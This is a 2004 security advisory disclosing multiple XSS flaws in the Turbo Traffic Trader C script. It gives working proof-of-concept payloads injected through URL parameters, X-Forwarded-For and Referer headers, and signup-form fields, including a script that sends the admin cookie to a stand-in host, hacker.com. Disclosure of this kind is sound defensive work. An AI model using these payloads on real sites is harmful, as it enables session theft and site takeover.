Multiple TTT-C XSS vulnerabilities
--------------------------------------------------------
Subject: Multiple TTT-C (Turbo Traffic Trader C) XSS vulnerabilityes.
Author: Kaloyan Olegov Georgiev (ICEFIRE)
Package name: Turbo Traffic Trader C (TTT-C or TTT3)
Sumary: Multiple XSS issues
Date: 2004-05-16
Affected versions: Latest stable TTT version, all betas and release candidates.
Product site: http://www.turbotraffictrader.com/
Vendor response: nobody cares about you or what you have to say, it's really
sad you could be a wealthy person if you just had morals. Dude, I don't care if
you post to the boards, I really don't , people are sick of you, everyone that
does not know what a thief you are will know after I post, I am ready to take
legal action against you.
Need I say more about this response?
Extended info: http://www.icefire.org/security/ttt-bugreport.txt
--------------------------------------------------------
Package description (from vendor's site):
The World's Most Advanced Free C Traffic Trading Script
Turbo Traffic Trader C 1.0 is an advanced trading script written entirely in
C/Sqlite, it offers you advanced features that cannot be found in other FREE
scripts.
Problem description:
TTT-C does not sanityze variables. This leads to very easy XSS scripting and in
some cases complete site traffic hijacking.
Solution:
Don't use TTT-C as the vendor seems not to care too much about all these issues.
Msg the vendor: The best option is to use the CjOverkill like or similar string
replacement routine for <,>,% and so on characters.
Problem deep description with proof of concept code:
As no one variable is sanityzed anyone can insert HTML code into the admin
interface. On sites with trades signup enabled there is also possible to hijack
all the admin interface and steal the admin cookie in order to login and
takeover the script. Also it could be used to steal all the traffic a given
site has.
Links panel XSS proof of concept code:
Link variable is not sanityzed and could be a valid XSS
Example:
http://www.vulnerable.com/cgi-bin/ttt-out?link=testing%20%3Cscript%3Ealert('from_browser_insert');%3C/script%3E
http://www.vulnerable.com/cgi-bin/ttt-out?link=testing%20<script>alert('from_browser_insert');</script>
IP Logs panel XSS proof of concept code:
IP could be null
IP could be a valid XSS
Proxy is not sanityzed
Proxy could be a valid XSS
Example for proxy:
telnet www.vulnerable.com 80
Trying www.vulnerable.com...
Connected to www.vulnerable.com.
Escape character is '^]'.
GET /cgi-bin/ttt-in HTTP/1.1
X-Forwarded-For: 192.168.0.1<script>alert('proxy_insert');</script>
Host: www.vulnerable.com
Example for IP (needs local server access):
export REMOTE_ADDR="127.0.0.1<script>alert('ip_inject');</script>"
./ttt-in will load one bad record for IP
Referer Logs panel XSS proof of concept code:
Referer is not sanityzed, could be a valid XSS
telnet www.vulnerable.com 80
Trying www.vulnerable.com...
Connected to www.vulnerable.com.
Escape character is '^]'.
GET /cgi-bin/ttt-in HTTP/1.1
X-Forwarded-For: 192.168.0.6<script>alert('proxy_insert');</script>
Referer:
http://www.referrer.com"<script>alert('referrer_inject');</script>"
Host: www.vulnerable.com
Edit Panel XSS:
See Main because Edit uses exactly the same variables.
Main control panel XSS (take care with this one, the example is a complete
takeover):
For that one you must signup for a trade. When you signup as a new trade you
need to put your site info and url.
Insert any HTML code and it will work.
Example:
Site Name =
http://www.owned.com"<script>cook=document.cookie;window.location='http://www.hacker.com/steal-admin-cookie.php?cook='+cook+'';</script>
Site URL =
http://www.owned.com"<script>cook=document.cookie;window.location='http://www.hacker.com/steal-admin-cookie.php?cook='+cook+'';</script>
Webmaster e-mail =
email@xxxxxxxxxxxxx"<script>alert('email_inject');</script>
Webmaster ICQ = 123456"<script>alert('ICQ_inject');</script>
This one ast could lead to the theft of all the traffic that site has because
when the site name or domain get into the toplist any visitor of that site will
get the XSS and will get redirected.
Any other HTML will work, so use your imagination. the examples are quite
simple, but you still can get the point.
Kaloyan Olegov Georgiev